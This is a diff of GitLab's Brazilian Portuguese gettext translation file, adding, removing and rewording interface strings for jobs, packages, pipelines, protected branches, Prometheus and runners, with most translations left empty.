msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr "A tarefa foi apagada"
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "Tarefas"
@@ -18997,9 +18694,6 @@ msgstr "com"
msgid "Join Zoom meeting"
msgstr "Participe da reunião com Zoom"
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr "Objetos LFS"
@@ -19392,9 +19083,6 @@ msgstr "Aprenda como %{link_start}contribuir para os modelos embutidos%{link_end
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr "Saiba como %{no_packages_link_start}publicar e compartilhar seus pacotes%{no_packages_link_end} com o GitLab."
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr "Saiba mais"
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr "Mostrar arquivo completo"
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr "Gerenciar"
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr "Nível máximo de acesso"
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr "Atraso máximo (minutos)"
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "Mediana"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Marco %{milestoneTitle} não foi encontrado"
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr "Novo marco"
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr "Nenhum repositório"
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr "Nada para pré-visualizar."
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr "Eventos de notificação"
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr "Pausar"
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Total:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr "com etapa"
msgid "Pipeline|with stages"
msgstr "com etapas"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr "Por favor, escolha um URL de grupo sem caracteres especiais."
msgid "Please complete your profile with email address"
msgstr "Por favor, complete seu perfil com endereço de e-mail"
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr "Editar perfil"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr "Digite seu nome, então as pessoas que você conhece podem reconhecê-lo"
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr "Selos de projeto"
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr "Repositórios do projeto e wiki"
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "Imagem do projeto"
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr "Descrição do projeto (opcional)"
-msgid "Project details"
-msgstr "Detalhes do projeto"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Nunca"
-msgid "ProjectLifecycle|Stage"
-msgstr "Etapa"
-
msgid "ProjectOverview|Fork"
msgstr "Fork"
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr "%{exporters} com %{metrics} foram encontrados"
msgid "PrometheusService|Active"
msgstr "Ativo"
-msgid "PrometheusService|Auto configuration"
-msgstr "Configuração automática"
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr "Métricas comuns"
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr "Métricas comuns são monitoradas automaticamente com base em uma biblioteca de métricas de exportadores populares."
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr "Métricas personalizadas"
@@ -26420,18 +26111,9 @@ msgstr "Encontrando e configurando métricas..."
msgid "PrometheusService|Finding custom metrics..."
msgstr "Encontrando métricas personalizadas..."
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr "Instale o Prometheus nos clusters"
-
msgid "PrometheusService|Manage clusters"
msgstr "Gerenciar clusters"
@@ -26447,9 +26129,6 @@ msgstr "Variável de ambiente ausente"
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "Mais informações"
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr "Essas métricas serão monitoradas após sua primeira implantação para um ambiente"
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr "Aguardando sua primeira implantação em um ambiente para encontrar mét
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr "Promover"
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} poderá ser editado por desenvolvedores. Tem certeza disso?"
@@ -26744,18 +26441,30 @@ msgstr "Seu ambiente foi protegido."
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr "Seu ambiente foi desprotegido"
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|What are protected tags?"
msgstr ""
-msgid "Provide feedback"
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr "Provedor"
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr "Registre-se com aplicativo de dois fatores"
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr "Issues Relacionadas"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr "Remover prioridade"
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,31 +27264,25 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
-msgstr "Corrigir autenticação"
-
msgid "Replace"
msgstr "Substituir"
-msgid "Replace all label(s)"
-msgstr ""
-
-msgid "Replaced all labels with %{label_references} %{label_text}."
+msgid "Replace %{name}"
msgstr ""
-msgid "Replaces the clone URL root."
+msgid "Replace all label(s)"
msgstr ""
-msgid "Replication"
+msgid "Replace file"
msgstr ""
-msgid "Replication details"
+msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
-msgid "Replication enabled"
+msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication paused"
+msgid "Replication"
msgstr ""
msgid "Reply by email"
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr "Continuar"
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr "Tentar novamente"
@@ -28152,9 +27852,6 @@ msgstr "Refazer tarefa"
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr "Tentar novamente a verificação"
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "Roadmap"
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr "Página de runners."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr "Chave SSH pública"
@@ -28576,10 +28318,7 @@ msgstr "Salvar senha"
msgid "Save pipeline schedule"
msgstr "Salvar agendamento da pipeline"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr "Pesquisar"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr "Pesquisar ou filtrar resultados..."
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr "Pesquise ou pule para…"
-
msgid "Search project"
msgstr "Procurar projeto"
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
